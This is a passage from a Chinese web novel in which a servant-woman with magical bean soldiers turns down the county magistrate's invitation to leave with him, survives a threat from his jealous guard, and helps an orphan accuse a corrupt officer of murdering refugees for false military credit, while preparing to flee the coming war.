“苏娘子……”
“大人,请您先说……”
苏蓉脸色顿时红涨起来。
叶清辞不自在干咳一声,端起桌案上早已冷掉的残茶。
“苏娘子,我可能不久后将离开宜阳,前往别的地方。这里会有新的县令来接任……”
前刻还好奇期待对方会说什么的苏蓉,仿佛被晴天一道霹雳劈在头顶!她满脸懵,神情恍惚,不知道这惊天霹雳响自哪里。
以为叶清辞至少要任满三年,结果一年不到,就要调离宜阳县?
叶清辞看清她的神色,下定决心,放下茶杯正色道:“苏娘子,宜阳县不宜久留。开春后,这里必将卷入战火。”
“你……”
他两眼紧盯苏蓉,无比恳切,说出早就想说的话。
“愿意随我一道走吗?”
苏蓉整个人愣在那里!
第114章 恶意
走?
走去哪里?
用什么身份随他走?
苏蓉面对邀请,更多的不是开心,而是惊异和迟疑。
就在这一瞬间,她意识到自己其实并没有多恋爱脑。相反,对于叶清辞突如其来的含蓄表白,她考虑更多的是合不合适?
她没有走进他的私人领域。
她看到的,可能只是表面的他。
若当真在一起了,两人性格不合怎么办?
婚前把自己最好一面展示给对方,这很正常。
明明之前嘴里嫌弃她,现在为什么不嫌弃了。是真的不嫌弃吗?
一刹功夫,她想了许多许多。
叶清辞知道自己提议仓促,但鼓足勇气愿意正视自己内心。他眼睛一眨不眨盯着苏蓉,等待她嘴里吐出的答案。
半晌,苏蓉颤抖着声音,问出一句:“跟你走,以什么身份?”
如此直白。
直白得令叶清辞陷入沉默。
片刻,他轻轻回答,好似在叹息。
“……侍女。”
他看着她眼睛里的光芒黯淡、熄灭。
“我……再想想。”
她小声回答。
其实,就算她不说这句话,他也明白她此刻心如死灰的绝望。
他唇干舌燥,苦如黄连。
有些东西,不是他不想给。而是给不起,现在不能给!
给了,会害死她!
能把她带在身边,保证她的安全,是他现阶段唯一能做到的。
门外,燕彬满含怒气,一把推开一个劲拦路的傅振,闯将进来。
他抱定撕破脸的决心,却听到苏蓉正对叶清辞道:“大人,驻军所督尉金竹海滥杀流民,以无辜者人头冒充匪首,我有人证!”
燕彬和傅振同时止步。
怒火、焦急,化为愕然。
什么跟什么?
他们竟然误会了!这两人千方百计偷偷摸摸聚在一起,竟然只是为了讨论案情?
叶清辞走神发呆。苏蓉义愤填膺,表现得慷慨激昂。
既然叶清辞要离开,那就得趁他没走之前,抓紧把宜阳的耗子屎清理了。
傅振瞅燕彬一眼。
燕彬狠狠瞪他,握住剑柄的手,悄悄松开。
既然是谈公事,这小子一脸做贼心虚、拼命阻挡他进门干什么?
他们进门后,两人都不再说话,抬起头来看他们。
叶清辞眼神幽暗,苏蓉眼圈微微泛红。像是倾诉案情过于激动。
“你们来得正好……”
叶清辞深吸一口气,呼出来:“听听苏娘子说什么吧!”
傅振拍拍燕彬肩。
燕彬锐利的目光,捕捉到那两人视线交汇,些微不自然的神情,心头冷哼一声。拉开一把椅子,大马金刀坐下。
接收到叶清辞示意,苏蓉把谭敖的事,又向傅振和燕彬说了一遍。
末了,叶清辞沉声道:“现在这孩子被苏娘子收容在家里,你们二人怎么看?”
“这金竹海当真可恶至极!”
傅振嫉恶如仇,拍响交椅扶手:“我当他每天如此努力,从哪里收割来这么多乱民首级领功,敢情都是残害无辜百姓而来!”
“大人,我们一定不能放过这阴险凶残小人,还有驻军所那伙兵渣!”
“用什么不放过?”
燕彬冷冰冰。
“别说宜阳县大半兵力掌握在季中郎将手中,我们县衙的衙役,一多半也和金竹海相勾结。”
他看看叶清辞。
目中深意叶清辞和傅振都明白。反正即将准备离开的人了,没必要多此一举,惹火烧身。
叶清辞听着两人不同的主张,垂下眼帘。过了会儿,放下轻轻摸着自己下巴的手,坚定地看向苏蓉。
“明日,你将那孩子带来衙门,我领他去见季中郎将。若是罪证确凿,看看季中郎将怎么处理自己手下?”
他清楚若是苏蓉不肯随他离开宜阳县,那么留下来,金竹海就是苏蓉生存下去的最大阻碍,他势必要将之铲除。
至于因此得罪季中郎将,他完全不在乎。
苏蓉振作起来,两眼放光:“谢谢大人!”
这算是难过中唯一的慰藉了。
至少她做到了对谭敖的承诺,给了他衙门告状的机会,叶清辞也愿意帮助他。
至于最后能不能如愿,让金竹海受到应有惩罚,看天意吧。
她隐约感觉,将梅玉儿活活鞭笞死的那个季中郎将,可能叶清辞根本就拿他没办法。
打铁还得自身硬。
如果律法不能给受害人公正,那她以后还是靠她的豆子兵。
苏蓉行礼退出正屋。
叶清辞心烦意乱地挥退左膀右臂:“你们俩也下去忙吧,我累了,需要休息一会。”
燕彬和傅振对视一眼,双双告退。
出来后,燕彬随手紧掩房门,对傅振不经意道:“大人还没用午餐。傅振你去厨房催促他们,别让大人等久了。”
傅振没多想。他早就饿了,点头再去跑第二趟。
燕彬目送他背影去远,眼中闪过冷意,看向苏蓉所在的下人房。
苏蓉没心思继续吃饭,把凉掉的剩菜剩饭打包,准备和晚上那餐一起拿回家。
正在收拾,听到门板被人轻轻扣响三下。抬起头,燕彬冷着脸走进来,她顿时呆若木鸡。
直到燕彬靠近她的距离,一伸手可以触碰到她,寒意扑面而来,她才猛然清醒过来往后退。
但这么狭窄的房间,能躲哪里去?
往后一退直接撞在桌沿上,疼得她倒吸一口凉气。
燕彬冷眼看着她的狼狈,面露讥刺讥诮笑意。
“这么害怕我,你是做贼心虚?”
苏蓉恼羞成怒。
这个人的恶意,来得太莫名其妙了!
她悄悄把手伸进衣兜,摸出一粒豆子,紧紧握在手中。
无外人在时,对方对她的杀意丝毫不加掩饰。这让她既疑惑不解,又感憋屈。
“燕典史,我不知道你在说什么?如果我在不知情的情况下得罪了你,请你明言!而非这样一而再、再而三对我释放恶意?”
“得罪我?”
燕彬沉默一下抿紧唇角。
“你从来没有得罪我。只是……”
他瞪着苏蓉,一字一句。
“你不该肖想不属于自己的东西!像你这种不知进退、不识好歹、得寸进尺的人,我解决过不少,不差多你一个!”
寒光一闪!苏蓉来不及申辩,燕彬蓦地长剑出鞘,抵住她咽喉。
冷森森的凉意,带着一点刺痛。只需对方手腕轻轻一抖,她就得告别这世界。
根本来不及撒豆成兵。
第115章 看似无情却有情
她咬紧牙,不甘示弱看着对方。
绝不出口求饶!
这种人过于以自我为中心,丝毫不在意他人无辜与否。
求饶有什么用,她不觉得自己哪里做错了?
再说,她并不相信对方会在这里杀她。真要杀她,等她离开衙门找个无人处伏击她,栽赃给地痞流民岂不更好。
外面本就混乱,何苦非要在叶清辞眼皮底下。
果然,对峙一刻燕彬见她没有开口,随手挽个剑花,还剑入鞘。
语气森冷:“苏氏,这是我对你的最后警告,远离大人!否则,我一定在他不知道的地方,解决你?”
苏蓉不甘心,更加愤怒。
“我和大人怎样,轮得到你管?”
心想若是被这厮知道,大人还邀请自己同行,一起离开宜阳县,那她现在得来的肯定不只是这番警告了。
虽然她也不想无名无分跟随叶清辞,但燕彬目空一切的态度,着实令人窝火。
燕彬狠狠看她一眼。
“你大可以试试?”
丢下这句话,头也不回走了出去。
他这种嚣张的态度,把苏蓉气个半死。
转念一想,不成,活人不能被尿憋死!即便她不打算与叶清辞有后续发展,个中原因得弄清楚,不能不明不白纠结一辈子。
她立即出门,到县署內宅外面,半路堵傅振。
等不多久,傅振有气无力提着食盒返回。好长一段时间没吃鸡,他浑身不得劲,心情不美妙。
见到苏蓉,以为来帮忙取餐的,举起食盒展示。
“苏娘子,我已经取餐了。这段时间吃饭不定时,你不用管我们。”
苏蓉顿了顿,仗着胸中那股未灭的气势,开口直接问:“傅爷,昭宁公主是怎么回事,大人的前妻吗?”
傅振一怔脱口。
“什么前妻?大人连昭宁公主的面都没见过!”
随即醒悟自己说了了不得的话,赶紧将苏蓉拽到路边隐蔽处,愀然不乐道:“苏娘子,好好的你怎么突然问这个?”
虽说现在世道乱了,朝廷自顾不暇,但燕彬那个神经煞神还在啊!
那可是昭宁公主忠实的拥护者。
苏蓉抿抿嘴唇。
“燕彬警告我,离大人远点,否则杀了我!我之前也听你们提过昭宁公主……”
她恳切地看着傅振。
“傅爷,能不能告诉我实情?我不愿意死了,还当个糊涂鬼!”
她担心这是叶清辞心底的一道伤疤,不敢轻易去揭开。
“燕彬竟然如此对你?”
傅振惊讶莫名,随即想到什么,沉寂下来。却经不住苏蓉眼巴巴地看,叹口气。
“苏娘子,我告诉你实情,你别说出去。以后有人问,也别说是我说的?”
苏蓉举手:“我发誓!”
傅振把食盒放下,活动手腕,哂笑。
“倒不用发誓。看来你和大人关系,真不一般,连燕彬也会对你发出警告……”
略一停,他情不自禁发出感叹。
“但事情过去那么久了,怎么燕彬还如此执着呢?苦了大人,招惹上无妄之灾,这辈子差点毁了!”
咕哝一句:“皇家人真是祸害!”
又急又快,苏蓉没能听清楚。
感叹过后,傅振才把事情来龙去脉,跟她说明白。
“大人当年金榜题名,先帝御笔钦点探花郎,这事你清楚吧?”
见苏蓉点头,紧接又道:“就是在那个时候,待字闺中的昭宁公主看中大人,请求先帝赐婚。”
“昭宁公主是先帝最宠爱的公主,一旦开口,先帝岂有不许之理,当朝给两人赐婚。大人那会没定亲,便同意了。”
苏蓉听得心里忽上忽下,极度不是滋味。
两人果然有婚约关系。与公主身份相比,她毛都不算一根,拿什么跟人家比?
何况昭宁公主去世,活人永远无法与死人相提并论。
那是永远的白月光啊!
一瞬间,她完全心死。
不想傅振下一句,直接让她死而复生,原地支棱起来。
“可是,定亲没多久,昭宁公主突然暴病身亡?先帝悲痛万分,这可害苦了大人!因为,大家都知道,公主极其爱慕大人,临终之际还惦记大人。”
“大人无奈,当众表示承蒙公主垂爱,自今往后愿意素衣减膳,清斋百日,守志不渝三年。”
“最可笑的是,从始至终,大人连公主面也没见过!”
或许公主偷偷见过大人,但那又怎样?傅振与叶清辞昆仲之交,其实很为自己好友兼上司鸣不平。
大人大好前程,就因为被公主看上,非但不能在朝中大展抱负,反而要因公主过世,回避朝堂,耽误人生。
公主过世后,不是没有贵女接近大人,但后面不是离奇病没了,就是另嫁他人。甚至有清白被污,身败名裂的。
为不再连累他人,大人自请调离京城。
现在三年之约早已过去,连朝堂都天翻地覆。难不成还有人想要大人继续为公主守制?
傅振胸中涌出一股怒火,看着眼前苏蓉,忍住没有说出自己判断。
他不清楚大人自己是怎样考虑的。但苏娘子若对大人有情,他得帮着先安抚下。
大人本来就个性严肃不近女色,加上公主的事,令京城众多贵女视大人为灾星。他这个朋友再不帮忙,恐怕大人得注孤生。
而且与苏娘子多接触后,感觉没什么不好。身份自然比不过那些贵女,人品性情却是没差。
想通这点傅振毫不隐瞒,将过往皇室秘辛,如实述说。
末了暗示一句,现在天下大乱,几个皇子争天下,谁还盯着昭宁公主那陈年芝麻烂谷子的事,过问大人私事呢?
“燕彬,以前担任公主的侍卫统领。是大人离京时,先帝将他派到大人身边的。”
既是保护,又是监视。
先帝为了爱女,用心良苦。
见苏蓉一副恍然大悟的神情,傅振弯腰提起食盒。
“苏娘子,我言尽于此,其余的你自己考量吧。无论如何,大人是有苦衷的。”
至于燕彬威胁苏娘子,难道是没放弃先帝交给的任务?得找机会与这小子,还有大人好好沟通才行。
苏蓉目送傅振快步离开,心内翻涌情绪,波涛起伏。
原来叶清辞看似无情却有情,自始至终只为了保护她?
第116章 抉择
果然,她就说那么清正为官的人,口中怎么能吐得出“卑贱”“弃妇”之类,诛心的话语。如此说,是为了释燕彬的疑心和杀心吧?
她用手按住双目。
笑的同时,热泪滚滚。
可是,就算知道真相,也改变不了她和他各奔东西的结局。
他做不到为她破釜沉舟。
她同样没有爱到失去理智,不较名分跟他走。
傅振回到正屋,见大人在翻阅卷宗,提前为新县令到来做交接准备。燕彬从旁辅助。他把食盒往桌上重重一搁,发出的响声,引来两人抬头。
瞧着燕彬若无其事、一如既往的冷漠表情,他不爽地瞪对方一眼,开门见山。
“燕彬,有件事我一直不明白,憋在心里很久了,你能不能为我和大人解惑?”
燕彬冷冷道:“你有什么事不明白?”
傅振挑眉。
“你究竟是谁的部下?忠于过世的昭宁公主,还是现在的大人?”
叶清辞低喝阻止。
“傅振!”
不过语气并不严厉。
“先皇将我派给大人,我自然是大人部下,忠于大人。”
燕彬唇抿一线,盯着傅振。
“你是不是在哪里喝了几口马尿,又发疯了,突然跑来这么质疑我!”
傅振撇嘴。
“你如果不去威胁苏娘子要杀她,我就信了!”
“傅振!”
与此同时,叶清辞也是惊怒交加,霍地起身,重重一掌拍在桌案上。
“燕彬!”
燕彬不情不愿,撩袍单膝跪下。
“大人……”
叶清辞想到过去种种,那些如同飞蛾扑火往自己身边靠近的女孩们……
她们无论是天真甜美的,还是娇艳可人的,哪怕他自己从来没动心过,也没有虚与委蛇。但隔不多久,总能听到她们遭遇不幸的消息。
他不杀伯仁,伯仁因他而死。
心灰意冷自请离京,回避到这份上,还有人耿耿于怀。
一想到苏娘子可能会遭遇曾经那些女孩们遭遇过的事,他十根指头控制不住微微发抖。怒视燕彬,恨不得拔剑一剑杀了他!
但是,这离京一路,三人风雨同舟患难与共,燕彬数次舍命保护他和傅振。情谊堪比手足,实在做不到翻脸相向,恶言以对。
“你为何要这么做?”
他只能痛心疾首地指责,回想之前苏蓉没说出口的拒绝,更是难过。
“我明确告诉过你,我和苏娘子没有关系……再说还有三日,我们便会离开宜阳县,可能再不会回来……”
永远见不到苏娘子!
他试过努力改变,然而失败了。
“燕彬,你不要再去找苏娘子麻烦!”
燕彬武功高强,他和傅振加在一起,未必是其对手。若燕彬铁了心去杀苏娘子,他真的很难阻止!
尽管觉得憋屈、伤心,叶清辞不得不把话说开。
反正苏娘子自己也拒绝了和他一起去奔那未知前途,不是吗?
就这样吧!
燕彬低头。
“公主对大人情深意重……卑职只是不想大人这么快忘了公主。”
傅振紧握住拳头,想一拳把这小子开瓢。看他脑子到底装的什么浆糊,这么不开窍。
但见大人面如死灰,忍了又忍,慢慢松开拳头。
大人……
倒了八辈子血霉!
以前大人活成别人家的孩子,总是被爹娘以此为榜样各种教训。说他不羡慕嫉妒恨,那是假的。
但亲眼见着大人遭遇和处境,他只剩下同情。
再出色的相貌才华有什么用?
在皇家人看来,那就是属于自己的私有财产。哪怕太子景渊对大人折节下交,没见为大人说过一句公道话。
所有人觉得,大人为素昧平生的公主未婚妻守制,应该的,那是大人的荣幸!
然而谁想过大人十几年寒窗苦读,好不容易一朝金榜题名,是为给公主守制的吗?
公主垂青,幸也不幸,毁人一生。
大人可能一开始,根本不想要这种垂青!
叶清辞扫视燕彬一眼。不再说话,低头专心致志继续办公。屋里气氛压抑十足,食盒摆在桌上,没人想吃。
下工后,苏蓉失魂落魄归家。快到门口,才想起没给谭敖买衣裳,明天还要领人去衙门,不能随便。
她转头又去大街小巷找开门的店铺。最后买了套深蓝色布衣裤,还有件原色粗麻布衣当作孝衣,打包拿回家。
谭敖第一个迎上来,急切却不敢开口。
倒是张如英主动询问:“苏丫头,大人怎么说?”
苏蓉瞧眼仍旧蒙在鼓里的金冬梅,含蓄道:“明早我带谭敖去衙门。”
“太好了!”
张如英替谭敖高兴。
方小兰见大家高兴,跟着懵懂高兴。
金冬梅内心直打鼓。
蓉姐姐虽未明言害死谭敖家人的谁,但从张婶子、谭敖口中,她套问出是宜阳县的官兵。她两个哥哥就在驻军所,怎能脱了干系?
只是大家不愿细说,不由得胡思乱想。
那毕竟是她家人,再混账,血浓于水难免牵挂。
苏蓉见她坐立不安,将衣服递给谭敖,让他去换上。然后当着张如英和小兰,把梅玉儿的事说出来。
金冬梅一听,后怕不已。瞬间将之前惦记家人的心思,全抛到九霄云外,握住苏蓉的手庆幸。
“蓉姐姐,还好我逃了出来!不然,我下场就是那个梅玉儿啊?”
苏蓉忽然改了主意。
想这世上多的是不长嘴而造成各种误会的人。与其受金冬梅事后埋怨,不如一开始坦诚相对。
于是,叫出换上孝服的谭敖。当着大家面,把金竹海等人杀害无辜流民,冒领军功的事说了出来。
金冬梅听到谭敖要去衙门状告自己哥哥;谭敖知道金冬梅是仇人妹妹。双双瞪大眼睛看向彼此。
张如英提心吊胆,见瞒了一天的秘密,被苏蓉这么直接说出来,顿时哭笑不得。
“冤有头,债有主。”
苏蓉意味深长看着两人。
“谭敖,我相信你不会将对金竹海的仇恨,发泄到无辜者身上。冬梅,你大哥坏事做尽天怒人怨,你要选择通风报信去告发我们吗?”
谭敖眼中闪烁仇恨的光。
然而视线触及面前这个他叫了一天“冬梅姐姐”的人,对方极具耐心温柔待他,双目不由得浮现一片水雾。
金冬梅张口结舌看谭敖。
亏她安慰一整天痛失亲人的谭敖。做梦没想到,酿成这可怜孩子人生悲剧的,竟是她亲哥哥!
第117章 准备逃荒
听到苏蓉不留余地询问,金冬梅无措地流下眼泪。
大家静静看着她。
就连谭敖,眸子的光明灭,也在等她一句话,再决定自己要不要连这仇人妹妹,一并痛恨。
他无比感谢苏蓉及时告知真相。
否则,等熟悉金冬梅,与之亲近后才得知对方是仇人之妹,那岂不气崩溃!
金冬梅也是这样想的。
瞧向谭敖。
这孩子明天将去告发自己大哥,她有任何理由借口拦阻吗?
没有!
她心里只有满满内疚。
想到不顾自身安危收留她的蓉姐姐,想到被家人推出去替她送死的梅玉儿,她眼神逐渐变得坚定起来。
蹲下身子,伸出手,小心翼翼举到谭敖头顶。见他没有后退躲闪,方才轻轻摸了下他的头。
“对不起,小谭敖……有这样的家人,我以他们为耻!你和蓉姐姐想做什么,就去做吧,那是他们罪有应得的!”
谭敖点头,眼眶泛红。
“冬梅姐姐,你是无辜的,我不恨你!”
看着两人表现,苏蓉和张如英对视一眼,露出欣慰的神色。
等安排大家去睡觉后,苏蓉把张如英叫到堂屋,悄悄告诉她不久后,宜阳县将易主的消息。
张如英惊讶莫名,掩住自己张大的嘴巴。
“你说什么?叶大人会离开宜阳县?那谁来接替他?”
苏蓉摇头。当时她神思恍惚,哪有心情问叶清辞太多细节。只知道叶清辞会走,她不会随他离开。
他们两人……
有缘无分。
那种难过,尽管她已接受现实,依旧如同一把利刃,劈开她五脏六腑。
张如英顿时害怕惶恐得不行。
“若是没了叶大人,这宜阳县不知会乱到什么程度?别的不说,就是那金竹海,他也不可能放过你啊,苏丫头!”
苏蓉揉把脸,让自己恢复冷静。
“没错。叶大人也说,开春后,宜阳县必将卷入战火。张婶子,我打算等明日谭敖告完状,就举家南迁。找一处偏远城镇落户,远离战火。”
“苏丫头,贸然搬家,实在太危险了!”
张如英一听,越发感到害怕。
“你瞧,谭敖他爹还是县学训导,一旦背井离乡,便成了所谓流民,家破人亡。好不容易到咱宜阳县,还碰上金竹海这种人!”
天知道,乱世中有多少金竹海这样视人命如草芥的庸官酷吏?
她们还是几个女流之辈,如何保护自己!
“留下来,宜阳县迟早卷入战火,到时想走也来不及!”
苏蓉坚定自己的主张。
“张婶子,你愿意和我们一起离开吗?”
“这……”
张如英纠结起来。
她知道苏蓉有不为人知的本事。但这本事究竟有多大,沿途能否保护她们安全,是个未知数。
但想想她孤家寡人,除了苏蓉姐妹,宜阳县根本没有值得在意的人和事。
罢了,一起走便一起走,相互间有个照应。就算死,黄泉路上不孤单。
而且,苏蓉会邀请她同行,明显将她当自己人不避嫌,她心里满是感动和欢喜。
“苏丫头,你不嫌弃我年龄大,是个拖累,我愿意和你们姐妹一起去逃荒!”
苏蓉笑了,握住她的手。
“张婶子,谁说你年龄大了?三十几岁正值壮年。你力气大、善厨艺,有你在,是我们的依仗!”
张如英被她说得挺起胸脯,重新充满自信地用手摸摸自己挽得邦紧的发髻。
是吧,她就觉得自己有用,能帮上苏家姐妹。至少,她可以帮忙看孩子呀,让苏丫头腾出手脚,召唤那什么……
岷郡王氏!
苏蓉笑了笑,紧接安排逃荒前的重点工作。
“张婶子,明天开始,咱们收拾准备上路的东西。你熟悉县城情况,去买一辆双轮手拖车。然后准备油布帐篷、干粮及换洗衣物、被褥之类。”
现在是冬天,御寒物必不可少。
见张如英惊讶得瞪大眼睛,她补充:“你只管买,不用担心别的。拖车人力、钱、护卫,我都有!”
说完,她回卧室拿出二十两银子,递到张如英手中。
“外面不安全,明天我让神兵保护你,帮你拿东西。”
“神兵?”
张如英一个激灵。
她早就想问苏蓉,神秘的岷郡王氏到底是什么了。这会苏蓉主动道出来,她立马一脸求知欲,等着苏蓉解释。
对此,苏蓉早想好说辞合理化自己的金手指。
“因缘巧合,我曾经帮助过一位老人,他教了我术法。这术法相当于障眼法,如同……道教太平经提及的符水治病、咒法驱邪。”
这么一说,张如英瞬间明白,她激动无比。
“苏丫头,那岂不是仙师?传说中的仙师,看你受尽苦难,特意下凡拯救你的!”
苏蓉……
你说是就是吧。
既然张如英自己给脑补完全了,她就当是这么回事。
“不过我不能符水治病,咒法驱邪。”
张如英羡慕道:“苏丫头,不、苏真人!您能学会仙师传授的一样技法,已是三辈子修不来的幸运和福分了。”
苏蓉看着她的星星眼,开始头疼。
“张婶子,你还是叫我苏丫头吧,什么苏真人?我又没出家!”
“您是仙师弟子,凡人不能对您不敬。”
张如英迟疑。
苏蓉翻白眼。
她们刚在说什么?喔……逃荒!
“张婶子,对你说实话,是因为咱们患难与共,你是我信得过的人!别您啊您的,除了会这种小术法,本质我还是个凡人。”
“再说,你这么把我捧上天,想让我摔下来更重吗?”
“苏丫头,我不是这个意思!”
一着急,张如英叫回原本称呼。两人面面相觑,苏蓉微笑起来,张如英不好意思地摸自个后脑勺。
算了算了,苏丫头把她当个人,她莫非还立不起来?那也太给苏丫头丢脸了。
有钱、有人、没有后顾之忧。
张如英不再犹豫,拍自己胸脯打包票:“收拾准备,就放心交给我吧!苏丫头,你明天只管带谭敖去告状。”
临走之前,能替宜阳县百姓诛恶,也算做了件善事。
苏蓉放心地点头。
有张如英帮忙宣传,今后她的金手指可以合理化示人。
之前一直隐瞒,是不想让叶清辞发现。令他失望、难做,有辱清官名声。
现在两人即将分道扬镳,踏上未知旅途,乱世之中,谁还记得“岷郡王氏”!
“对了,这房子怎么办?”
摩拳擦掌之际,张如英突然想到一件事,忙问。
“卖掉吗?”
第118章 一丘之貉
苏蓉环顾房屋,心里充满留恋。
她受尽苦难,费尽心血才拥有的第一处房屋,自然舍不得放弃。但是,房子又不能打包带走!
犹豫会摇头。
“不卖!”
不差这几十两银。铜甲兵陆陆续续,已给她找到数株珍贵人参、灵芝,一旦卖掉,她能一夜暴富。
留下来房屋若没在战火中损毁,说不定有朝一日,她还能回宜阳县定居。
再说了,房屋是你想卖就能卖掉的?现在世道大乱,大家纷纷出逃,卖给谁去?只怕低价白送人家也不要。
有那功夫找买主,不如抓紧时间多收集出逃物资。
那才是她们未来安身立命的本钱!
张如英赞同苏蓉的决定。
她曾找房东解除租房合约,但房东早就举家逃亡乡下。徐牙人安慰她不用担心,反正合约到期自动作废,她才没有管房屋租金的事。
苏蓉不执着房屋归属权是对的。
身外之物,关键时刻是累赘。
两人又商量一番细节,列出明后天具体采购的物资,算来算去没有遗漏,方才各自回房间睡觉。
次日,苏蓉早早起来,召唤出两名铜甲兵。
一名留在家里保护冬梅和小兰;一名作为张如英贴身保镖兼脚力,随之去采购。
对于好奇的谭敖,她只解释是雇佣来的人。
谭敖倒没多想。
这年头,最不值钱的是人。
只要给口饭吃,多的是人愿意卖命。
最怕的是你愿意卖命,人家还瞧不上。
吃完早饭,苏蓉找出斗笠扣在谭敖头上,几乎挡去他小半个身子,牵住他的手走向衙门。
小兰舍不得姐姐,眼巴巴送到门口。张如英随之带一名甲兵离开。金冬梅小心谨慎张望左右无人,赶紧将院门关上,把小兰带进屋。
殊不知,她们的举动落在有心人眼中。
两名金竹海派出的心腹,蹲守苏蓉家附近很久了,一直没发现异常。正焦虑如何向督尉报告。
突然发现苏蓉家竟然多出人来,他们立刻精神一振!
苏家那小丫头留在家,被苏蓉带出家门的孩子是谁?
还有,他们好像看见金督尉一直想找的妹妹了!
两人一对眼色,一个继续留在原地监视,一个撒丫子绕路奔向驻军所去报信。
苏蓉没想到金竹海送出梅玉儿,还没忘记打自己妹妹主意。一路和谭敖商讨论见叶清辞后,该怎么做。担心谭敖过于悲愤,影响告状。
毕竟执法者断案,讲求真凭实据,不能以受害者喜怒哀乐为转移。
看着谭敖隐忍痛苦,坚强沉稳的模样,她鼓励地拍拍他的肩。
这孩子小小年纪,要负担如此沉重的血海深仇,实在太不容易了。
来到衙门,苏蓉自然带谭敖从后角门进。轮值的衙役不免多问一句。
“苏娘子,你带这孩子进衙门是……”
苏蓉直接将叶清辞这尊大神搬出来:“是县令大人要见这孩子。”
衙役哪敢多问,正要放行。韩班头过面带怀疑过来。
“这孩子是谁,如此面生?帽子拿下来看看。非常时期,苏娘子你可不能随便把陌生人往衙门里带!”
对方一脸正气,一副秉公办事的模样。苏蓉知道,这人实际是金竹海一党,明里暗里偏向金竹海。
“大胆!”
她厌恶这种势利小人,挺身拦住对方伸向谭敖的手,怒斥:“大人要见的人,你敢动手动脚?知道这孩子是谁吗?”
韩班头下意识发问:“是谁?”
苏蓉冷笑。
“你不够资格问!”
韩班头满心大怒,又不敢当真拦阻苏蓉。谁不知道苏蓉在大人跟前得脸?他只能僵着脸,目送苏蓉带上谭敖,扬长闯进后衙。
旁边衙役缩缩脖子,默默站到墙根,以防被韩班头的怒火波及。
谭敖紧紧牵住苏蓉的手,小声道:“姐姐,后来那个衙役,我见过。”
韩班头?
苏蓉奇道:“你什么时候见过?”
“有一回流民在市集暴动,被官兵追杀出城。”
谭敖回忆。
“我们藏在暗处,看到一个女人被一群恶徒挟持,随后几名衙役追踪而至。”
“那几名衙役中,便有今日这人在。”
谭敖用肯定的语气。
“我们不敢靠近。看到他们似乎熟识的样子在交谈。恶徒把昏迷的女人交给个高块头健硕的一名衙役,对方忽然翻脸,抽刀将他劈于马下!”
时至今日,谭敖还记得当时的惊险,面色发白停顿会,继续道。
“然后他们打了起来。有恶徒高喊什么小人,言而无信?金竹海那厮骑马赶来,帮助衙役把一群恶徒全部解决了。”
他们当时不明究理,还觉得金竹海是好人。现在看,根本就是一丘之貉!
“原来如此!”
苏蓉喃喃道。
她早就怀疑当初金安福英雄救美,成功抱得美人归,是金家人阴谋。
果然,邓家人中了圈套!
当然,双方都不是什么好人,她没必要为此费心。眼见快走到县署內宅,安抚地低声叮咛谭敖。
“待会见了大人,照实述说冤情。如果大人一时不能为你做主,也不要急。君子报仇,十年不晚!”
叶清辞即将离开的人,能答应她的请求,再次帮忙,尽了最大心意,不能强求。
谭敖面含悲苦之色,仍是乖巧点了下头。
苏姐姐愿意帮他,县令大人愿意听他申述,已好过一开始他孤军奋斗了。
两人走进县署內宅,一无所知的曾嬷嬷迎出来,面色不好看。
“苏氏!什么时候了,你才来上工?咦……这孩子是谁?”
傅振闻声出来:“曾嬷嬷,这孩子是大人等着要见的,你先去忙吧。”
曾嬷嬷不敢多言,瞅苏蓉一眼,自己拿着扫帚去干活。
“这就是那个告状的流民小孩?”
傅振打量谭敖。
谭敖乖巧地把斗笠拿下来,站在那里,任他打量。
瞧清楚谭敖的脸和那身明显的书卷气,傅振面露讶异,随即释然。
乱世,能把人变鬼!
天灾人祸面前,其实有钱人和穷人一个样。
抗不过去,变成谭敖这样很正常。一旦背井离乡成为流民,无论以前什么家世什么背景,都不得不直面生存的残酷考验。
“跟我来吧。”
只是,他血未冷。
因此,面对谭敖,他保留两分怜悯。
第119章 新县令来了
燕彬守卫在正屋门口,见三人过来,放傅振、谭敖两人过去,却伸手挡住苏蓉,语气冰冷。
“大人问案,闲杂人等回避!”
傅振想说什么没说。
公是公,私是私。
这小男孩既然是正经告状的,旁人确实不应该陪同。不然,有窜通指使嫌疑。
谭敖回过头,眼含坚定:“苏姐姐,谢谢你带我到这里。剩下的路,我自己走!”
苏蓉心想这孩子可真是精明。
一路叫着“姐姐”表亲近。到了人前,却故意加上她的姓氏,表现出与她生疏的样子。令人不怀疑他们的关系,以免影响接下来的告状。
她后退一步,对谭敖点点头。目送三人进门后,方才去提桶打水,开始一天例行的杂役工作。
虽然决定要走,还是站好最后一班岗吧。
这两天,或许是她看见叶清辞的最后机会了!
时间默默流逝。
忙于干活的苏蓉和忙于申述的谭敖不知道,得到报信的金安福正带人赶往苏家。
因为金竹海例行去巡城,所以只能由金安福出面。他是抗拒前往苏家的,之前那个据说是护院的灰衣大汉,差点把他黄胆水吓了出来。
但想到能拿住苏蓉诱拐自家妹子的铁证,还是硬着头皮,纠集一伙兄弟前往苏家讨说法。
寻思金冬梅再叛逆,不可能眼睁睁看着他这二哥被人打死吧?
只要把死丫头哄回家去,到时好好收拾!
殊不知刚听到风声,金冬梅就通过狗洞躲到隔壁去了。迎接金安福一伙的是,人形泰山灰衣人!
门口一站,给金安福百个胆,不敢越雷池一步,擅闯民宅。
方小兰躲在豆子兵擎天柱的大长腿后,探头探脑。看见凶神恶煞的一群人,壮着胆子叉腰。
哼,姐姐不在,她就是这个家的小主人!她有义务保卫这个家,保护冬梅姐姐!
金安福目眦欲裂,跳脚手指灰衣人叫嚣。
“你们快把我小妹金冬梅交出来,有人在这里看见她了,别想抵赖!不交……不交我们就冲进去抓人了?”
豆子兵面无表情。
金安福使劲瞪这无动于衷的家伙,脑子里想要记住此人样貌,过后查其背景。然而目光移开片刻不到,他忽然又忘记对方长得像啥?
这像是凭空冒出的人,除了一身不平凡的武艺,从头到脚平凡得扔人堆里找不见!
真是好生诡异。
眼瞅灰衣人漫不经心挪动脚步,朝他们这边看过来,同时压了下自己钵大的拳头,骨骼捏得啪啪响。
金安福咽了口唾沫。
等回过神,看不到对方身影了,扶着双膝上气不接下气猛喘,他才醒悟自己大脑不经他意志同意,指挥身体一溜烟逃跑了!
狼狈转身,金安福迎接十数道幽怨含恨的目光。
威逼利诱他们来帮忙,结果自己逃得比兔子还快。
真不是个人!
金安福讪讪:“这……这护院我们可能打不过,先回去找我大哥吧,多带点人来!”
反正苏氏跑得了和尚跑不了庙!
衙门这边,一个时辰后,苏蓉才等到叶清辞带着谭敖出来。
